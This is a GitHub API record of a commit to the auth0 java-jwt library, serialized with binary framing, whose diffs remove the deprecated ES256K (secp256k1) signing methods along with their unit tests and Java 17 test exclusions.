comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujy  \https://api.github.com/repos/auth0/java-jwt/commits/0f080b0aab832a9531d4d60a64601fb05ec2ba6chtml_urlQhttps://github.com/auth0/java-jwt/commit/0f080b0aab832a9531d4d60a64601fb05ec2ba6ccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/commentsjy  }(login	poovamrajidJ j}y  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jy  &https://api.github.com/users/poovamrajjy  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujy  }(jy  	poovamrajjy  J j}y  MDQ6VXNlcjE1OTEwNDI1jy  4https://avatars.githubusercontent.com/u/15910425?v=4jy  h3jy  &https://api.github.com/users/poovamrajjy  https://github.com/poovamrajjy  0https://api.github.com/users/poovamraj/followersjy  =https://api.github.com/users/poovamraj/following{/other_user}jy  6https://api.github.com/users/poovamraj/gists{/gist_id}jy  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jy  4https://api.github.com/users/poovamraj/subscriptionsjy  +https://api.github.com/users/poovamraj/orgsjy  ,https://api.github.com/users/poovamraj/reposjy  7https://api.github.com/users/poovamraj/events{/privacy}jy  6https://api.github.com/users/poovamraj/received_eventsjy  Userjy  uparents]}(j{y  (f6301e101926e35fdf972f3b9f9ca8bb95fae527jy  \https://api.github.com/repos/auth0/java-jwt/commits/f6301e101926e35fdf972f3b9f9ca8bb95fae527jy  Qhttps://github.com/auth0/java-jwt/commit/f6301e101926e35fdf972f3b9f9ca8bb95fae527uastats}(totalMZ	additionsK	deletionsMYufiles](}(j{y  (a672afaf2567a23a8efa3b6344510690e75b5958filenamelib/build.gradlestatusmodifiedjy  K jy  K
changesK
blob_urlbhttps://github.com/auth0/java-jwt/blob/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=0f080b0aab832a9531d4d60a64601fb05ec2ba6cpatchX7  @@ -114,19 +114,6 @@ def testJava17 = tasks.register('testJava17', Test) {
         languageVersion = JavaLanguageVersion.of(17)
     })
     shouldRunAfter(tasks.named('test'))
-
-    //Following Tests are excluded in Java 17 since secp256k1 curve is disabled Java 15+
-    filter {
-        excludeTestsMatching "*.jwt.ConcurrentVerifyTest.shouldPassECDSA256KVerificationWithJOSESignature"
-        excludeTestsMatching "*.jwt.JWTCreatorTest.shouldAddKeyIdIfAvailableFromECDSAKAlgorithms"
-        excludeTestsMatching "*.jwt.JWTCreatorTest.shouldNotOverwriteKeyIdIfAddedFromECDSAKAlgorithms"
-        excludeTestsMatching "*.jwt.JWTTest.shouldCreateAnEmptyECDSA256KSignedToken"
-        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithJOSESignature"
-        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys"
-        excludeTestsMatching "*.jwt.algorithms.ECDSAAlgorithmTest.shouldPassECDSA256KVerificationWithProvidedPublicKey"
-        excludeTestsMatching "*.jwt.ECDSABouncyCastleProviderTests.shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys"
-        excludeTestsMatching "*.jwt.ECDSABouncyCastleProviderTests.shouldPassECDSA256KVerificationWithProvidedPublicKey"
-    }
 }
 
 tasks.named('check') {u}(j{y  (ff10a9aaa7481cc9dc3043151e0c0e9fe945282bjy  9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javajy  modifiedjy  K jy  Kjy  Kjy  https://github.com/auth0/java-jwt/blob/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javajy  https://github.com/auth0/java-jwt/raw/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javajy  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=0f080b0aab832a9531d4d60a64601fb05ec2ba6cjy  X  @@ -171,37 +171,6 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
         return new HMACAlgorithm("HS256", "HmacSHA256", secret);
     }
 
-    /**
-     * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256K".
-     *
-     * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
-     * @return a valid ECDSA256 Algorithm.
-     * @throws IllegalArgumentException if the Key Provider is null.
-     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
-     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
-     * This method will be removed in the next major version. See for additional information
-     */
-    @Deprecated
-    public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
-        return new ECDSAAlgorithm("ES256K", "SHA256withECDSA", 32, keyProvider);
-    }
-
-    /**
-     * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256K".
-     *
-     * @param publicKey  the key to use in the verify instance.
-     * @param privateKey the key to use in the signing instance.
-     * @return a valid ECDSA256 Algorithm.
-     * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
-     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
-     * This method will be removed in the next major version. See for additional information
-     */
-    @Deprecated
-    public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
-        return ECDSA256K(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
-    }
-
     /**
      * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
      *u}(j{y  (80e6a6547151165b29004360e921dfeea4ba0fb3jy  9lib/src/test/java/com/auth0/jwt/ConcurrentVerifyTest.javajy  modifiedjy  K jy  Kjy  Kjy  https://github.com/auth0/java-jwt/blob/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javajy  https://github.com/auth0/java-jwt/raw/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javajy  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.java?ref=0f080b0aab832a9531d4d60a64601fb05ec2ba6cjy  X  @@ -145,17 +145,6 @@ public void shouldPassECDSA256VerificationWithJOSESignature() throws Exception {
         concurrentVerify(verifier, token);
     }
     
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
-        String token = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.eyJpc3MiOiJhdXRoMCJ9.W-AbsnuQ4vqmPftAyQuF09hn3oGn3tN7VGergxyMbK74yEzDV-mLyC3o3fxXrZxcW5h01DM6BckNag7ZcimPjw";
-        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(publicKey, privateKey);
-        JWTVerifier verifier = JWTVerifier.init(algorithm).withIssuer("auth0").build();
-        
-        concurrentVerify(verifier, token);
-    }
-    
     @Test
     public void shouldPassECDSA384VerificationWithJOSESignature() throws Exception {
         String token = "eyJhbGciOiJFUzM4NCJ9.eyJpc3MiOiJhdXRoMCJ9.50UU5VKNdF1wfykY8jQBKpvuHZoe6IZBJm5NvoB8bR-hnRg6ti-CHbmvoRtlLfnHfwITa_8cJMy6TenMC2g63GQHytc8rYoXqbwtS4R0Ko_AXbLFUmfxnGnMC6v4MS_z";u}(j{y  (6c8706563087b11136b5ce829b10bb9b54b60c2ejy  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javajy  modifiedjy  K jy  K#jy  K#jy  https://github.com/auth0/java-jwt/blob/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajy  https://github.com/auth0/java-jwt/raw/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajy  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=0f080b0aab832a9531d4d60a64601fb05ec2ba6cjy  X	  @@ -25,8 +25,6 @@ public class JWTCreatorTest {
     private static final String PRIVATE_KEY_FILE_RSA = "src/test/resources/rsa-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_256 = "src/test/resources/ec256-key-private.pem";
 
-    private static final String PRIVATE_KEY_FILE_EC_256K = "src/test/resources/ec256k-key-private.pem";
-
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
@@ -186,39 +184,6 @@ public void shouldNotOverwriteKeyIdIfAddedFromRSAAlgorithms() throws Exception {
         assertThat(headerJson, JsonMatcher.hasEntry("kid", "my-key-id"));
     }
 
-    @Test
-    public void shouldAddKeyIdIfAvailableFromECDSAKAlgorithms() throws Exception {
-        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("my-key-id");
-        when(provider.getPrivateKey()).thenReturn(privateKey);
-
-        String signed = JWTCreator.init()
-                .sign(Algorithm.ECDSA256K(provider));
-
-        assertThat(signed, is(notNullValue()));
-        String[] parts = signed.split("\\.");
-        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("kid", "my-key-id"));
-    }
-
-    @Test
-    public void shouldNotOverwriteKeyIdIfAddedFromECDSAKAlgorithms() throws Exception {
-        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("my-key-id");
-        when(provider.getPrivateKey()).thenReturn(privateKey);
-
-        String signed = JWTCreator.init()
-                .withKeyId("real-key-id")
-                .sign(Algorithm.ECDSA256(provider));
-
-        assertThat(signed, is(notNullValue()));
-        String[] parts = signed.split("\\.");
-        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("kid", "my-key-id"));
-    }
-
     @Test
     public void shouldAddKeyIdIfAvailableFromECDSAAlgorithms() throws Exception {
         ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256, "EC");u}(j{y  (abbab913d3583d7e05df5b0116eba7a2931b0ca7jy  ,lib/src/test/java/com/auth0/jwt/JWTTest.javajy  modifiedjy  K jy  Kjy  Kjy  https://github.com/auth0/java-jwt/blob/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javajy  https://github.com/auth0/java-jwt/raw/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javajy  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=0f080b0aab832a9531d4d60a64601fb05ec2ba6cjy  X@  @@ -493,25 +493,6 @@ public void shouldCreateAnEmptyECDSA256SignedToken() throws Exception {
         assertThat(verified, is(notNullValue()));
     }
 
-    @Test
-    public void shouldCreateAnEmptyECDSA256KSignedToken() throws Exception {
-        ECPublicKey publicKey = (ECPublicKey) PemUtils.readPublicKeyFromFile(PUBLIC_KEY_FILE_EC_256K, "EC");
-        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
-
-        String signed = JWT.create().sign(Algorithm.ECDSA256K(publicKey, privateKey));
-        assertThat(signed, is(notNullValue()));
-
-        String[] parts = signed.split("\\.");
-        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("alg", "ES256K"));
-        assertThat(headerJson, JsonMatcher.hasEntry("typ", "JWT"));
-        assertThat(parts[1], is("e30"));
-
-        JWTVerifier verified = JWT.require(Algorithm.ECDSA256K(publicKey, privateKey))
-                .build();
-        assertThat(verified, is(notNullValue()));
-    }
-
     @Test
     public void shouldCreateAnEmptyECDSA384SignedToken() throws Exception {
         String signed = JWT.create().sign(Algorithm.ECDSA384((ECKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_384, "EC")));u}(j{y  (e09661d3dc62b9fda10c178faa645e4531c68b1cjy  =lib/src/test/java/com/auth0/jwt/algorithms/AlgorithmTest.javajy  modifiedjy  K jy  Kjy  Kjy  https://github.com/auth0/java-jwt/blob/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javajy  https://github.com/auth0/java-jwt/raw/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javajy  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.java?ref=0f080b0aab832a9531d4d60a64601fb05ec2ba6cjy  X  @@ -450,29 +450,6 @@ public void shouldCreateECDSA256AlgorithmWithProvider() {
         assertThat(algorithm.getName(), is("ES256"));
     }
 
-    @Test
-    public void shouldCreateECDSA256KAlgorithmWithBothKeys() {
-        ECPublicKey publicKey = mock(ECPublicKey.class);
-        ECPrivateKey privateKey = mock(ECPrivateKey.class);
-        Algorithm algorithm = Algorithm.ECDSA256K(publicKey, privateKey);
-
-        assertThat(algorithm, is(notNullValue()));
-        assertThat(algorithm, is(instanceOf(ECDSAAlgorithm.class)));
-        assertThat(algorithm.getDescription(), is("SHA256withECDSA"));
-        assertThat(algorithm.getName(), is("ES256K"));
-    }
-
-    @Test
-    public void shouldCreateECDSA256KAlgorithmWithProvider() {
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-
-        assertThat(algorithm, is(notNullValue()));
-        assertThat(algorithm, is(instanceOf(ECDSAAlgorithm.class)));
-        assertThat(algorithm.getDescription(), is("SHA256withECDSA"));
-        assertThat(algorithm.getName(), is("ES256K"));
-    }
-
     @Test
     public void shouldCreateECDSA384AlgorithmWithPublicKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPublicKey.class));u}(j{y  (7a37a7777995523e0b40fda744886caae9c362dfjy  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javajy  modifiedjy  Kjy  Kjjy  Kkjy  https://github.com/auth0/java-jwt/blob/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javajy  https://github.com/auth0/java-jwt/raw/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javajy  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=0f080b0aab832a9531d4d60a64601fb05ec2ba6cjy  X  @@ -186,112 +186,7 @@ public void shouldFailECDSA256VerificationOnInvalidDERSignature() throws Excepti
         Algorithm algorithm = Algorithm.ECDSA256((ECKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256, "EC"));
         algorithm.verify(JWT.decode(jwt));
     }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldThrowOnECDSA256KVerificationWithDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(SignatureException.class));
-        exception.expectCause(hasMessage(is("Invalid JOSE signature format.")));
-    
-        String jwt = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.e30.MEUCIQDaCA-xzjHBCFhyAm56je5DXgylpUncBsQTxQT7AD19zwIgEjIm3lueII2W4pC_iQR6oRMHNtgqfAzTrWnV7DPNURk";
-        
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys() throws Exception {
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC")
-                , (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Exception {
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        when(provider.getPublicKeyById("my-key-id")).thenReturn((ECPublicKey) publicKey);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPublicKeyById("my-key-id")).thenReturn(null);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWithInvalidPublicKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenUsingPrivateKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        Algorithm algorithm = Algorithm.ECDSA256K(null, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignatureLength() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalArgumentException.class));
-        exception.expectCause(hasMessage(is("Last unit does not have enough valid bits")));
-        
-        String jwt = ES256K_JWT.substring(0,ES256K_JWT.length()-1);
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        bytes[0] = 0x30;
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
+
     @Test
     public void shouldPassECDSA384VerificationWithJOSESignature() throws Exception {
         String jwt = "eyJhbGciOiJFUzM4NCJ9.eyJpc3MiOiJhdXRoMCJ9.50UU5VKNdF1wfykY8jQBKpvuHZoe6IZBJm5NvoB8bR-hnRg6ti-CHbmvoRtlLfnHfwITa_8cJMy6TenMC2g63GQHytc8rYoXqbwtS4R0Ko_AXbLFUmfxnGnMC6v4MS_z";u}(j{y  (7387f667f11989a980c4de3e08efc6410fde6398jy  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javajy  modifiedjy  K jy  Kkjy  Kkjy  https://github.com/auth0/java-jwt/blob/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javajy  https://github.com/auth0/java-jwt/raw/0f080b0aab832a9531d4d60a64601fb05ec2ba6c/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javajy  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=0f080b0aab832a9531d4d60a64601fb05ec2ba6cjy  X  @@ -78,113 +78,6 @@ public static void tearDown() {
     public void shouldPreferBouncyCastleProvider() {
         assertThat(Security.getProviders()[0], is(equalTo(bcProvider)));
     }
-
-    // Verify
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldThrowOnECDSA256KVerificationWithDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(SignatureException.class));
-        exception.expectCause(hasMessage(is("Invalid JOSE signature format.")));
-    
-        String jwt = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.e30.MEUCIQDaCA-xzjHBCFhyAm56je5DXgylpUncBsQTxQT7AD19zwIgEjIm3lueII2W4pC_iQR6oRMHNtgqfAzTrWnV7DPNURk";
-        
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys() throws Exception {
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC")
-                , (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Exception {
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        when(provider.getPublicKeyById("my-key-id")).thenReturn((ECPublicKey) publicKey);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPublicKeyById("my-key-id")).thenReturn(null);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWithInvalidPublicKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenUsingPrivateKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        Algorithm algorithm = Algorithm.ECDSA256K(null, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignatureLength() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalArgumentException.class));
-        exception.expectCause(hasMessage(is("Last unit does not have enough valid bits")));
-        
-        String jwt = ES256K_JWT.substring(0,ES256K_JWT.length()-1);
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
